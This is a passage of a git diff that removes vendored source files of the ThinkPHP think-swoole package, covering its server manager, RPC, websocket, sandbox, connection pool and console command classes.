'request'); - } - } - - protected function dispatchToRoute($request) - { - if (isset(self::$route)) { - $newRoute = clone self::$route; - $this->modifyProperty($newRoute, $this->app); - $this->app->instance("route", $newRoute); - } - - return parent::dispatchToRoute($request); - } - -} diff --git a/vendor/topthink/think-swoole/src/Manager.php b/vendor/topthink/think-swoole/src/Manager.php deleted file mode 100644 index 6d54274..0000000 --- a/vendor/topthink/think-swoole/src/Manager.php +++ /dev/null @@ -1,86 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\swoole; - -use think\App; -use think\swoole\concerns\InteractsWithHttp; -use think\swoole\concerns\InteractsWithPools; -use think\swoole\concerns\InteractsWithRpcServer; -use think\swoole\concerns\InteractsWithRpcClient; -use think\swoole\concerns\InteractsWithServer; -use think\swoole\concerns\InteractsWithSwooleTable; -use think\swoole\concerns\InteractsWithWebsocket; -use think\swoole\concerns\WithApplication; - -/** - * Class Manager - */ -class Manager -{ - use InteractsWithServer, - InteractsWithSwooleTable, - InteractsWithHttp, - InteractsWithWebsocket, - InteractsWithPools, - InteractsWithRpcClient, - InteractsWithRpcServer, - WithApplication; - - /** - * @var App - */ - protected $container; - - /** - * Server events. - * - * @var array - */ - protected $events = [ - 'start', - 'shutDown', - 'workerStart', - 'workerStop', - 'workerError', - 'workerExit', - 'packet', - 'task', - 'finish', - 'pipeMessage', - 'managerStart', - 'managerStop', - 'request', - ]; - - /** - * Manager constructor. - * @param App $container - */ - public function __construct(App $container) - { - $this->container = $container; - } - - /** - * Initialize. - */ - protected function initialize(): void - { - $this->prepareTables(); - $this->preparePools(); - $this->prepareWebsocket(); - $this->setSwooleServerListeners(); - $this->prepareRpcServer(); - $this->prepareRpcClient(); - } - -} diff --git a/vendor/topthink/think-swoole/src/PidManager.php b/vendor/topthink/think-swoole/src/PidManager.php deleted file mode 100644 index 0c7c92b..0000000 --- a/vendor/topthink/think-swoole/src/PidManager.php +++ /dev/null @@ -1,65 +0,0 @@ -file = $file; - } - - public function getPid() - { - if (is_readable($this->file)) { - return (int) file_get_contents($this->file); - } - - return 0; - } - - /** - * 是否运行中 - * @return bool - */ - public function isRunning() - { - $pid = $this->getPid(); - - return $pid > 0 && Process::kill($pid, 0); - } - - /** - * Kill process. - * - * @param int $sig - * @param int $wait - * - * @return bool - */ - public function killProcess($sig, $wait = 0) - { - $pid = $this->getPid(); - $pid > 0 && Process::kill($pid, $sig); - - if ($wait) { - $start = time(); - - do { - if (!$this->isRunning()) { - break; - } - - usleep(100000); - } while (time() < $start + $wait); - } - - return $this->isRunning(); - } - -} diff --git a/vendor/topthink/think-swoole/src/Pool.php b/vendor/topthink/think-swoole/src/Pool.php deleted file mode 100644 index 730954b..0000000 --- a/vendor/topthink/think-swoole/src/Pool.php +++ /dev/null @@ -1,76 +0,0 @@ -init(); - $this->pools[$name] = $pool; - - return $this; - } - - /** - * @param string $name - * - * @return ConnectionPool - */ - public function get(string $name) - { - return $this->pools[$name] ?? null; - } - - public function close(string $key) - { - return $this->pools[$key]->close(); - } - - /** - * @return array - */ - public function getAll() - { - return $this->pools; - } - - public function closeAll() - { - foreach ($this->pools as $pool) { - $pool->close(); - } - } - - /** - * @param string $key - * - * @return ConnectionPool - */ - public function __get($key) - { - return $this->get($key); - } - - public static function pullPoolConfig(&$config) - { - return [ - 'minActive' => Arr::pull($config, 'min_active', 0), - 'maxActive' => Arr::pull($config, 'max_active', 10), - 'maxWaitTime' => Arr::pull($config, 'max_wait_time', 5), - 'maxIdleTime' => Arr::pull($config, 'max_idle_time', 20), - 'idleCheckInterval' => Arr::pull($config, 'idle_check_interval', 10), - ]; - } -} diff --git a/vendor/topthink/think-swoole/src/RpcManager.php b/vendor/topthink/think-swoole/src/RpcManager.php deleted file mode 100644 index fa783f9..0000000 --- a/vendor/topthink/think-swoole/src/RpcManager.php +++ /dev/null @@ -1,183 +0,0 @@ -container = $container; - } - - /** - * Initialize. - */ - protected function initialize(): void - { - $this->events = array_merge($this->events ?? [], $this->rpcEvents); - $this->prepareTables(); - $this->preparePools(); - $this->setSwooleServerListeners(); - $this->prepareRpcServer(); - $this->prepareRpcClient(); - } - - protected function prepareRpcServer() - { - $this->onEvent('workerStart', function () { - $this->bindRpcParser(); - $this->bindRpcDispatcher(); - }); - } - - public function attachToServer(Port $port) - { - $port->set([]); - foreach ($this->rpcEvents as $event) { - $listener = Str::camel("on_$event"); - $callback = method_exists($this, $listener) ? [$this, $listener] : function () use ($event) { - $this->triggerEvent("rpc." . $event, func_get_args()); - }; - - $port->on($event, $callback); - } - - $this->onEvent('workerStart', function (App $app) { - $this->app = $app; - }); - $this->prepareRpcServer(); - } - - protected function bindRpcDispatcher() - { - $services = $this->getConfig('rpc.server.services', []); - - $this->app->make(Dispatcher::class, [$services]); - } - - protected function bindRpcParser() - { - $parserClass = $this->getConfig('rpc.server.parser', JsonParser::class); - - $this->app->bind(ParserInterface::class, $parserClass); - $this->app->make(ParserInterface::class); - } - - public function onConnect(Server $server, int $fd, int $reactorId) - { - $args = func_get_args(); - $this->runInSandbox(function (Event $event) use ($args) { - $event->trigger("swoole.rpc.Connect", $args); - }, $fd, true); - } - - protected function recv(Server $server, $fd, $data, $callback) - { - if (!isset($this->channels[$fd]) || empty($handle = $this->channels[$fd]->pop())) { - //解析包头 - try { - [$header, $data] = Packer::unpack($data); - } catch (Throwable $e) { - //错误的包头 - return $server->close($fd); - } - - $this->channels[$fd] = new Channel($header); - - $handle = $this->channels[$fd]->pop(); - } - - $result = $handle->write($data); - - if (!empty($result)) { - Coroutine::create($callback, $result); - $this->channels[$fd]->close(); - } else { - $this->channels[$fd]->push($handle); - } - - if (!empty($data)) { - $this->recv($server, $fd, $data, $callback); - } - } - - public function onReceive(Server $server, $fd, $reactorId, $data) - { - $this->recv($server, $fd, $data, function ($data) use ($fd, $server) { - $this->runInSandbox(function (Dispatcher $dispatcher) use ($fd, $data) { - $dispatcher->dispatch($fd, $data); - }, $fd, true); - }); - } - - public function onClose(Server $server, int $fd, int $reactorId) - { - unset($this->channels[$fd]); - $args = func_get_args(); - $this->runInSandbox(function (Event $event) use ($args) { - $event->trigger("swoole.rpc.Close", $args); - }, $fd); - } -} diff --git a/vendor/topthink/think-swoole/src/Sandbox.php b/vendor/topthink/think-swoole/src/Sandbox.php deleted file mode 100644 index c82f9e5..0000000 --- a/vendor/topthink/think-swoole/src/Sandbox.php +++ /dev/null @@ -1,246 +0,0 @@ -setBaseApp($app); - $this->initialize(); - } - - public function setBaseApp(Container $app) - { - $this->app = $app; - - return $this; - } - - public function getBaseApp() - { - return $this->app; - } - - protected function initialize() - { - Container::setInstance(function () { - return $this->getApplication(); - }); - - $this->app->bind(Http::class, \think\swoole\Http::class); - - $this->setInitialConfig(); - $this->setInitialServices(); - $this->setInitialEvent(); - $this->setInitialResetters(); - - return $this; - } - - public function run(Closure $callable, $fd = null, $persistent = false) - { - $this->init($fd); - - try { - $this->getApplication()->invoke($callable, [$this]); - } catch (Throwable $e) { - throw $e; - } finally { - $this->clear(!$persistent); - } - } - - public function init($fd = null) - { - if (!is_null($fd)) { - Context::setData('_fd', $fd); - } - $this->setInstance($app = $this->getApplication()); - $this->resetApp($app); - } - - public function clear($snapshot = true) - { - if ($snapshot) { - unset($this->snapshots[$this->getSnapshotId()]); - } - - Context::clear(); - $this->setInstance($this->getBaseApp()); - } - - public function getApplication() - { - $snapshot = $this->getSnapshot(); - if ($snapshot instanceof Container) { - return $snapshot; - } - - $snapshot = clone $this->getBaseApp(); - $this->setSnapshot($snapshot); - - return $snapshot; - } - - protected function getSnapshotId() - { - if ($fd = Context::getData('_fd')) { - return "fd_" . $fd; - } else { - return Context::getCoroutineId(); - } - } - - /** - * Get current snapshot. - * @return App|null - */ - public function getSnapshot() - { - return $this->snapshots[$this->getSnapshotId()] ?? null; - } - - public function setSnapshot(Container $snapshot) - { - $this->snapshots[$this->getSnapshotId()] = $snapshot; - - return $this; - } - - public function setInstance(Container $app) - { - $app->instance('app', $app); - $app->instance(Container::class, $app); - - $reflectObject = new ReflectionObject($app); - $reflectProperty = $reflectObject->getProperty('services'); - $reflectProperty->setAccessible(true); - $services = $reflectProperty->getValue($app); - - foreach ($services as $service) { - $this->modifyProperty($service, $app); - } - } - - /** - * Set initial config. - */ - protected function setInitialConfig() - { - $this->config = clone $this->getBaseApp()->config; - } - - protected function setInitialEvent() - { - $this->event = clone $this->getBaseApp()->event; - } - - /** - * Get config snapshot. - */ - public function getConfig() - { - return $this->config; - } - - public function getEvent() - { - return $this->event; - } - - public function getServices() - { - return $this->services; - } - - protected function setInitialServices() - { - $app = $this->getBaseApp(); - - $services = $this->config->get('swoole.services', []); - - foreach ($services as $service) { - if (class_exists($service) && !in_array($service, $this->services)) { - $serviceObj = new $service($app); - $this->services[$service] = $serviceObj; - } - } - } - - /** - * Initialize resetters. - */ - protected function setInitialResetters() - { - $app = $this->getBaseApp(); - - $resetters = [ - ClearInstances::class, - ResetConfig::class, - ResetEvent::class, - ResetService::class, - ]; - - $resetters = array_merge($resetters, $this->config->get('swoole.resetters', [])); - - foreach ($resetters as $resetter) { - $resetterClass = $app->make($resetter); - if (!$resetterClass instanceof ResetterInterface) { - throw new RuntimeException("{$resetter} must implement " . ResetterInterface::class); - } - $this->resetters[$resetter] = $resetterClass; - } - } - - /** - * Reset Application. - * - * @param Container $app - */ - protected function resetApp(Container $app) - { - foreach ($this->resetters as $resetter) { - $resetter->handle($app, $this); - } - } - -} diff --git a/vendor/topthink/think-swoole/src/Service.php b/vendor/topthink/think-swoole/src/Service.php deleted file mode 100644 index 0c6901b..0000000 --- a/vendor/topthink/think-swoole/src/Service.php +++ /dev/null @@ -1,42 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\swoole; - -use think\Route; -use think\swoole\command\Rpc; -use think\swoole\command\RpcInterface; -use think\swoole\command\Server as ServerCommand; -use think\swoole\websocket\socketio\Controller; - -class Service extends \think\Service -{ - - public function boot() - { - $this->commands(ServerCommand::class, RpcInterface::class, Rpc::class); - - if ($this->app->config->get('swoole.websocket.enable', false)) { - $this->registerRoutes(function (Route $route) { - $route->group(function () use ($route) { - $route->get('socket.io/', '@upgrade'); - $route->post('socket.io/', '@reject'); - }) - ->prefix(Controller::class) - ->allowCrossDomain([ - 'Access-Control-Allow-Credentials' => 'true', - 'X-XSS-Protection' => 0, - ]); - }); - } - } - -} diff --git a/vendor/topthink/think-swoole/src/Table.php b/vendor/topthink/think-swoole/src/Table.php deleted file mode 100644 index b2327c7..0000000 --- a/vendor/topthink/think-swoole/src/Table.php +++ /dev/null @@ -1,73 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\swoole; - -use Swoole\Table as SwooleTable; - -class Table -{ - /** - * Registered swoole tables. - * - * @var array - */ - protected $tables = []; - - /** - * Add a swoole table to existing tables. - * - * @param string $name - * @param SwooleTable $table - * - * @return Table - */ - public function add(string $name, SwooleTable $table) - { - $this->tables[$name] = $table; - - return $this; - } - - /** - * Get a swoole table by its name from existing tables. - * - * @param string $name - * - * @return SwooleTable $table - */ - public function get(string $name) - { - return $this->tables[$name] ?? null; - } - - /** - * Get all existing swoole tables. - * - * @return array - */ - public function getAll() - { - return $this->tables; - } - - /** - * Dynamically access table. - * - * @param string $key - * - * @return SwooleTable - */ - public function __get($key) - { - return $this->get($key); - } -} diff --git a/vendor/topthink/think-swoole/src/Websocket.php b/vendor/topthink/think-swoole/src/Websocket.php deleted file mode 100644 index 0a2ce8e..0000000 --- a/vendor/topthink/think-swoole/src/Websocket.php +++ /dev/null @@ -1,228 +0,0 @@ -server = $server; - $this->room = $room; - $this->parser = $parser; - } - - /** - * Set broadcast to true. - */ - public function broadcast(): self - { - Context::setData('websocket._broadcast', true); - - return $this; - } - - /** - * Get broadcast status value. - */ - public function isBroadcast() - { - return Context::getData('websocket._broadcast', false); - } - - /** - * Set multiple recipients fd or room names. - * - * @param integer, string, array - * - * @return $this - */ - public function to($values): self - { - $values = is_string($values) || is_integer($values) ? func_get_args() : $values; - - $to = Context::getData("websocket._to", []); - - foreach ($values as $value) { - if (!in_array($value, $to)) { - $to[] = $value; - } - } - - Context::setData("websocket._to", $to); - - return $this; - } - - /** - * Get push destinations (fd or room name). - */ - public function getTo() - { - return Context::getData("websocket._to", []); - } - - /** - * Join sender to multiple rooms. - * - * @param string, array $rooms - * - * @return $this - */ - public function join($rooms): self - { - $rooms = is_string($rooms) || is_integer($rooms) ? func_get_args() : $rooms; - - $this->room->add($this->getSender(), $rooms); - - return $this; - } - - /** - * Make sender leave multiple rooms. - * - * @param array $rooms - * - * @return $this - */ - public function leave($rooms = []): self - { - $rooms = is_string($rooms) || is_integer($rooms) ? func_get_args() : $rooms; - - $this->room->delete($this->getSender(), $rooms); - - return $this; - } - - /** - * Emit data and reset some status. - * - * @param string - * @param mixed - * - * @return boolean - */ - public function emit(string $event, $data = null): bool - { - $fds = $this->getFds(); - $assigned = !empty($this->getTo()); - - try { - if (empty($fds) && $assigned) { - return false; - } - - $result = $this->server->task([ - 'action' => static::PUSH_ACTION, - 'data' => [ - 'sender' => $this->getSender(), - 'descriptors' => $fds, - 'broadcast' => $this->isBroadcast(), - 'assigned' => $assigned, - 'payload' => $this->parser->encode($event, $data), - ], - ]); - - return $result !== false; - } finally { - $this->reset(); - } - } - - /** - * Close current connection. - * - * @param integer - * - * @return boolean - */ - public function close(int $fd = null) - { - return $this->server->close($fd ?: $this->getSender()); - } - - /** - * Set sender fd. - * - * @param integer - * - * @return $this - */ - public function setSender(int $fd) - { - Context::setData('websocket._sender', $fd); - - return $this; - } - - /** - * Get current sender fd. - */ - public function getSender() - { - return Context::getData('websocket._sender'); - } - - /** - * Get all fds we're going to push data to. - */ - protected function getFds() - { - $to = $this->getTo(); - $fds = array_filter($to, function ($value) { - return is_integer($value); - }); - $rooms = array_diff($to, $fds); - - foreach ($rooms as $room) { - $clients = $this->room->getClients($room); - // fallback fd with wrong type back to fds array - if (empty($clients) && is_numeric($room)) { - $fds[] = $room; - } else { - $fds = array_merge($fds, $clients); - } - } - - return array_values(array_unique($fds)); - } - - protected function reset() - { - Context::removeData("websocket._to"); - Context::removeData('websocket._broadcast'); - } -} diff --git a/vendor/topthink/think-swoole/src/command/Rpc.php b/vendor/topthink/think-swoole/src/command/Rpc.php deleted file mode 100644 index b5cbecb..0000000 --- a/vendor/topthink/think-swoole/src/command/Rpc.php +++ /dev/null @@ -1,172 +0,0 @@ -setName('swoole:rpc') - ->addArgument('action', Argument::OPTIONAL, "start|stop|restart|reload", 'start') - ->setDescription('Swoole RPC Server for ThinkPHP'); - } - - protected function initialize(Input $input, Output $output) - { - $this->app->bind(\Swoole\Server::class, function () { - return $this->createSwooleServer(); - }); - - $this->app->bind(PidManager::class, function () { - return new PidManager($this->app->config->get("swoole.server.options.pid_file")); - }); - } - - public function handle() - { - $this->checkEnvironment(); - - $action = $this->input->getArgument('action'); - - if (in_array($action, ['start', 'stop', 'reload', 'restart'])) { - $this->app->invokeMethod([$this, $action], [], true); - } else { - $this->output->writeln("Invalid argument action:{$action}, Expected start|stop|restart|reload ."); - } - } - - /** - * 检查环境 - */ - protected function checkEnvironment() - { - if (!extension_loaded('swoole')) { - $this->output->error('Can\'t detect Swoole extension installed.'); - - exit(1); - } - - if (!version_compare(swoole_version(), '4.3.1', 'ge')) { - $this->output->error('Your Swoole version must be higher than `4.3.1`.'); - - exit(1); - } - } - - /** - * 启动server - * @access protected - * @param RpcManager $manager - * @param PidManager $pidManager - * @return void - */ - protected function start(RpcManager $manager, PidManager $pidManager) - { - if ($pidManager->isRunning()) { - $this->output->writeln('swoole rpc server process is already running.'); - return; - } - - $this->output->writeln('Starting swoole rpc server...'); - - $host = $this->app->config->get('swoole.server.host'); - $port = $this->app->config->get('swoole.rpc.server.port'); - - $this->output->writeln("Swoole rpc server started: "); - $this->output->writeln('You can exit with `CTRL-C`'); - - $manager->run(); - } - - /** - * 柔性重启server - * @access protected - * @param PidManager $manager - * @return void - */ - protected function reload(PidManager $manager) - { - if (!$manager->isRunning()) { - $this->output->writeln('no swoole rpc server process running.'); - return; - } - - $this->output->writeln('Reloading swoole rpc server...'); - - if (!$manager->killProcess(SIGUSR1)) { - $this->output->error('> failure'); - - return; - } - - $this->output->writeln('> success'); - } - - /** - * 停止server - * @access protected - * @param PidManager $manager - * @return void - */ - protected function stop(PidManager $manager) - { - if (!$manager->isRunning()) { - $this->output->writeln('no swoole rpc server process running.'); - return; - } - - $this->output->writeln('Stopping swoole rpc server...'); - - $isRunning = $manager->killProcess(SIGTERM, 15); - - if ($isRunning) { - $this->output->error('Unable to stop the rpc process.'); - return; - } - - $this->output->writeln('> success'); - } - - /** - * 重启server - * @access protected - * @param RpcManager $manager - * @param PidManager $pidManager - * @return void - */ - protected function restart(RpcManager $manager, PidManager $pidManager) - { - if ($pidManager->isRunning()) { - $this->stop($pidManager); - } - - $this->start($manager, $pidManager); - } - - /** - * Create swoole server. - */ - protected function createSwooleServer() - { - $config = $this->app->config; - $host = $config->get('swoole.server.host'); - $port = $config->get('swoole.rpc.server.port'); - $socketType = $config->get('swoole.server.socket_type', SWOOLE_SOCK_TCP); - $mode = $config->get('swoole.server.mode', SWOOLE_PROCESS); - - /** @var \Swoole\Server $server */ - $server = new \Swoole\Server($host, $port, $mode, $socketType); - - $options = $config->get('swoole.server.options'); - - $server->set($options); - return $server; - } -} diff --git a/vendor/topthink/think-swoole/src/command/RpcInterface.php b/vendor/topthink/think-swoole/src/command/RpcInterface.php deleted file mode 100644 index 40dcc01..0000000 --- a/vendor/topthink/think-swoole/src/command/RpcInterface.php +++ /dev/null @@ -1,75 +0,0 @@ -setName('rpc:interface') - ->setDescription('Generate Rpc Service Interfaces'); - } - - public function handle() - { - $clients = $this->app->config->get('swoole.rpc.client', []); - - $file = new PhpFile; - $file->addComment('This file is auto-generated.'); - $file->setStrictTypes(); - $services = []; - foreach ($clients as $name => $config) { - - $parserClass = Arr::get($config, 'parser', JsonParser::class); - /** @var ParserInterface $parser */ - $parser = new $parserClass; - - $gateway = new Gateway($config, $parser); - - $result = $gateway->getServices(); - - $namespace = $file->addNamespace("rpc\\contract\\${name}"); - - foreach ($result as $interface => $methods) { - - $services[$name][] = $namespace->getName() . "\\{$interface}"; - - $class = $namespace->addInterface($interface); - - foreach ($methods as $methodName => ['parameters' => $parameters, 'returnType' => $returnType, 'comment' => $comment]) { - $method = $class->addMethod($methodName) - ->setVisibility(ClassType::VISIBILITY_PUBLIC) - ->setComment(Helpers::unformatDocComment($comment)) - ->setReturnType($returnType); - - foreach ($parameters as $parameter) { - if ($parameter['type'] && (class_exists($parameter['type']) || interface_exists($parameter['type']))) { - $namespace->addUse($parameter['type']); - } - $param = $method->addParameter($parameter['name']) - ->setTypeHint($parameter['type']); - - if (array_key_exists("default", $parameter)) { - $param->setDefaultValue($parameter['default']); - } - } - } - } - } - - $services = "return " . Helpers::dump($services) . ";"; - - file_put_contents($this->app->getBasePath() . 'rpc.php', $file . $services); - - $this->output->writeln('Succeed!'); - } -} diff --git a/vendor/topthink/think-swoole/src/command/Server.php b/vendor/topthink/think-swoole/src/command/Server.php deleted file mode 100644 index 48f6ed1..0000000 --- a/vendor/topthink/think-swoole/src/command/Server.php +++ /dev/null @@ -1,192 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\swoole\command; - -use Swoole\Http\Server as HttpServer; -use Swoole\WebSocket\Server as WebsocketServer; -use think\console\Command; -use think\console\Input; -use think\console\input\Argument; -use think\console\Output; -use think\swoole\Manager; -use think\swoole\PidManager; - -/** - * Swoole HTTP 命令行,支持操作:start|stop|restart|reload - * 支持应用配置目录下的swoole.php文件进行参数配置 - */ -class Server extends Command -{ - public function configure() - { - $this->setName('swoole') - ->addArgument('action', Argument::OPTIONAL, "start|stop|restart|reload", 'start') - ->setDescription('Swoole HTTP Server for ThinkPHP'); - } - - protected function initialize(Input $input, Output $output) - { - $this->app->bind(\Swoole\Server::class, function () { - return $this->createSwooleServer(); - }); - - $this->app->bind(PidManager::class, function () { - return new PidManager($this->app->config->get("swoole.server.options.pid_file")); - }); - } - - public function handle() - { - $this->checkEnvironment(); - - $action = $this->input->getArgument('action'); - - if (in_array($action, ['start', 'stop', 'reload', 'restart'])) { - $this->app->invokeMethod([$this, $action], [], true); - } else { - $this->output->writeln("Invalid argument action:{$action}, Expected start|stop|restart|reload ."); - } - } - - /** - * 检查环境 - */ - protected function checkEnvironment() - { - if (!extension_loaded('swoole')) { - $this->output->error('Can\'t detect Swoole extension installed.'); - - exit(1); - } - - if (!version_compare(swoole_version(), '4.3.1', 'ge')) { - $this->output->error('Your Swoole version must be higher than `4.3.1`.'); - - exit(1); - } - } - - /** - * 启动server - * @access protected - * @param Manager $manager - * @param PidManager $pidManager - * @return void - */ - protected function start(Manager $manager, PidManager $pidManager) - { - if ($pidManager->isRunning()) { - $this->output->writeln('swoole http server process is already running.'); - return; - } - - $this->output->writeln('Starting swoole http server...'); - - $host = $manager->getConfig('server.host'); - $port = $manager->getConfig('server.port'); - - $this->output->writeln("Swoole http server started: "); - $this->output->writeln('You can exit with `CTRL-C`'); - - $manager->run(); - } - - /** - * 柔性重启server - * @access protected - * @param PidManager $manager - * @return void - */ - protected function reload(PidManager $manager) - { - if (!$manager->isRunning()) { - $this->output->writeln('no swoole http server process running.'); - return; - } - - $this->output->writeln('Reloading swoole http server...'); - - if (!$manager->killProcess(SIGUSR1)) { - $this->output->error('> failure'); - - return; - } - - $this->output->writeln('> success'); - } - - /** - * 停止server - * @access protected - * @param PidManager $manager - * @return void - */ - protected function stop(PidManager $manager) - { - if (!$manager->isRunning()) { - $this->output->writeln('no swoole http server process running.'); - return; - } - - $this->output->writeln('Stopping swoole http server...'); - - $isRunning = $manager->killProcess(SIGTERM, 15); - - if ($isRunning) { - $this->output->error('Unable to stop the swoole_http_server process.'); - return; - } - - $this->output->writeln('> success'); - } - - /** - * 重启server - * @access protected - * @param Manager $manager - * @param PidManager $pidManager - * @return void - */ - protected function restart(Manager $manager, PidManager $pidManager) - { - if ($pidManager->isRunning()) { - $this->stop($pidManager); - } - - $this->start($manager, $pidManager); - } - - /** - * Create swoole server. - */ - protected function createSwooleServer() - { - - $isWebsocket = $this->app->config->get('swoole.websocket.enable', false); - - $serverClass = $isWebsocket ? WebsocketServer::class : HttpServer::class; - $config = $this->app->config; - $host = $config->get('swoole.server.host'); - $port = $config->get('swoole.server.port'); - $socketType = $config->get('swoole.server.socket_type', SWOOLE_SOCK_TCP); - $mode = $config->get('swoole.server.mode', SWOOLE_PROCESS); - - /** @var \Swoole\Server $server */ - $server = new $serverClass($host, $port, $mode, $socketType); - - $options = $config->get('swoole.server.options'); - - $server->set($options); - return $server; - } - -} diff --git a/vendor/topthink/think-swoole/src/concerns/InteractsWithHttp.php b/vendor/topthink/think-swoole/src/concerns/InteractsWithHttp.php deleted file mode 100644 index c1e21a5..0000000 --- a/vendor/topthink/think-swoole/src/concerns/InteractsWithHttp.php +++ /dev/null @@ -1,208 +0,0 @@ - 'Continue', - 101 => 'Switching Protocols', - 102 => 'Processing', // RFC2518 - 103 => 'Early Hints', - 200 => 'OK', - 201 => 'Created', - 202 => 'Accepted', - 203 => 'Non-Authoritative Information', - 204 => 'No Content', - 205 => 'Reset Content', - 206 => 'Partial Content', - 207 => 'Multi-Status', // RFC4918 - 208 => 'Already Reported', // RFC5842 - 226 => 'IM Used', // RFC3229 - 300 => 'Multiple Choices', - 301 => 'Moved Permanently', - 302 => 'Found', - 303 => 'See Other', - 304 => 'Not Modified', - 305 => 'Use Proxy', - 307 => 'Temporary Redirect', - 308 => 'Permanent Redirect', // RFC7238 - 400 => 'Bad Request', - 401 => 'Unauthorized', - 402 => 'Payment Required', - 403 => 'Forbidden', - 404 => 'Not Found', - 405 => 'Method Not Allowed', - 406 => 'Not Acceptable', - 407 => 'Proxy Authentication Required', - 408 => 'Request Timeout', - 409 => 'Conflict', - 410 => 'Gone', - 411 => 'Length Required', - 412 => 'Precondition Failed', - 413 => 'Payload Too Large', - 414 => 'URI Too Long', - 415 => 'Unsupported Media Type', - 416 => 'Range Not Satisfiable', - 417 => 'Expectation Failed', - 418 => 'I\'m a teapot', // RFC2324 - 421 => 'Misdirected Request', // RFC7540 - 422 => 'Unprocessable Entity', // RFC4918 - 423 => 'Locked', // RFC4918 - 424 => 'Failed Dependency', // RFC4918 - 425 => 'Too Early', // RFC-ietf-httpbis-replay-04 - 426 => 'Upgrade Required', // RFC2817 - 428 => 'Precondition Required', // RFC6585 - 429 => 'Too Many Requests', // RFC6585 - 431 => 'Request Header Fields Too Large', // RFC6585 - 449 => 'Retry With', - 451 => 'Unavailable For Legal Reasons', // RFC7725 - 500 => 'Internal Server Error', - 501 => 'Not Implemented', - 502 => 'Bad Gateway', - 503 => 'Service Unavailable', - 504 => 'Gateway Timeout', - 505 => 'HTTP Version Not Supported', - 506 => 'Variant Also Negotiates', // RFC2295 - 507 => 'Insufficient Storage', // RFC4918 - 508 => 'Loop Detected', // RFC5842 - 510 => 'Not Extended', // RFC2774 - 511 => 'Network Authentication Required', // RFC6585 - ]; - - /** - * "onRequest" listener. - * - * @param Request $req - * @param Response $res - */ - public function onRequest($req, $res) - { - $args = func_get_args(); - $this->runInSandbox(function (Http $http, Event $event, App $app, Middleware $middleware) use ($args, $req, $res) { - $event->trigger('swoole.request', $args); - - //兼容var-dumper - if (class_exists(VarDumper::class)) { - $middleware->add(ResetVarDumper::class); - } - - $request = $this->prepareRequest($req); - try { - $response = $this->handleRequest($http, $request); - } catch (Throwable $e) { - $response = $this->app - ->make(Handle::class) - ->render($request, $e); - } - - $this->sendResponse($res, $response, $app->cookie); - }); - } - - protected function handleRequest(Http $http, $request) - { - $level = ob_get_level(); - ob_start(); - - $response = $http->run($request); - - $content = $response->getContent(); - - if (ob_get_level() == 0) { - ob_start(); - } - - $http->end($response); - - if (ob_get_length() > 0) { - $response->content(ob_get_contents() . $content); - } - - while (ob_get_level() > $level) { - ob_end_clean(); - } - - return $response; - } - - protected function prepareRequest(Request $req) - { - $header = $req->header ?: []; - $server = $req->server ?: []; - - foreach ($header as $key => $value) { - $server["http_" . str_replace('-', '_', $key)] = $value; - } - - // 重新实例化请求对象 处理swoole请求数据 - /** @var \think\Request $request */ - $request = $this->app->make('request', [], true); - - return $request->withHeader($header) - ->withServer($server) - ->withGet($req->get ?: []) - ->withPost($req->post ?: []) - ->withCookie($req->cookie ?: []) - ->withFiles($req->files ?: []) - ->withInput($req->rawContent()) - ->setBaseUrl($req->server['request_uri']) - ->setUrl($req->server['request_uri'] . (!empty($req->server['query_string']) ? '?' . $req->server['query_string'] : '')) - ->setPathinfo(ltrim($req->server['path_info'], '/')); - } - - protected function sendResponse(Response $res, \think\Response $response, Cookie $cookie) - { - // 发送Header - foreach ($response->getHeader() as $key => $val) { - $res->header($key, $val); - } - - // 发送状态码 - $code = $response->getCode(); - $res->status($code, isset(self::$statusTexts[$code]) ? self::$statusTexts[$code] : 'unknown status'); - - foreach ($cookie->getCookie() as $name => $val) { - [$value, $expire, $option] = $val; - - $res->cookie($name, $value, $expire, $option['path'], $option['domain'], $option['secure'] ? true : false, $option['httponly'] ? true : false); - } - - $content = $response->getContent(); - - $this->sendByChunk($res, $content); - } - - protected function sendByChunk(Response $res, $content) - { - if (!empty($content)) { - $chunkSize = 8192; - - foreach (str_split($content, $chunkSize) as $chunk) { - $res->write($chunk); - } - } - $res->end(); - } -} diff --git a/vendor/topthink/think-swoole/src/concerns/InteractsWithPools.php b/vendor/topthink/think-swoole/src/concerns/InteractsWithPools.php deleted file mode 100644 index 9055125..0000000 --- a/vendor/topthink/think-swoole/src/concerns/InteractsWithPools.php +++ /dev/null @@ -1,64 +0,0 @@ -app->make(Pool::class); - } - - protected function preparePools() - { - $createPools = function () { - /** @var Pool $pool */ - $pools = $this->getPools(); - - foreach ($this->getConfig('pool', []) as $name => $config) { - $type = Arr::pull($config, 'type'); - if ($type && is_subclass_of($type, ConnectorInterface::class)) { - $pool = new ConnectionPool( - Pool::pullPoolConfig($config), - $this->app->make($type), - $config - ); - $pools->add($name, $pool); - //注入到app - $this->app->instance("swoole.pool.{$name}", $pool); - } - } - }; - - $closePools = function () { - try { - $this->getPools()->closeAll(); - } catch (Exception | Throwable $e) { - - } - }; - - $this->onEvent('workerStart', $createPools); - $this->onEvent('workerStop', $closePools); - $this->onEvent('workerError', $closePools); - $this->onEvent('workerExit', $closePools); - } -} diff --git a/vendor/topthink/think-swoole/src/concerns/InteractsWithRpcClient.php b/vendor/topthink/think-swoole/src/concerns/InteractsWithRpcClient.php deleted file mode 100644 index 2998fb2..0000000 --- a/vendor/topthink/think-swoole/src/concerns/InteractsWithRpcClient.php +++ /dev/null @@ -1,130 +0,0 @@ -container->getBasePath() . 'rpc.php')) { - $this->rpcServices = (array) include $rpc; - } - - $this->onEvent('workerStart', function () { - $this->bindRpcClientPool(); - }); - } - - protected function bindRpcClientPool() - { - if (!empty($clients = $this->getConfig('rpc.client'))) { - //创建client连接池 - foreach ($clients as $name => $config) { - $pool = new ConnectionPool( - Pool::pullPoolConfig($config), - new Client(), - array_merge( - $config, - [ - 'open_length_check' => true, - 'package_length_type' => Packer::HEADER_PACK, - 'package_length_offset' => 0, - 'package_body_offset' => 8, - ] - ) - ); - $this->getPools()->add("rpc.client.{$name}", $pool); - } - - //绑定rpc接口 - try { - foreach ($this->rpcServices as $name => $abstracts) { - $parserClass = $this->getConfig("rpc.client.{$name}.parser", JsonParser::class); - $parser = $this->app->make($parserClass); - $gateway = new Gateway($this->createRpcConnector($name), $parser); - - foreach ($abstracts as $abstract) { - $this->app->bind($abstract, function () use ($gateway, $name, $abstract) { - return 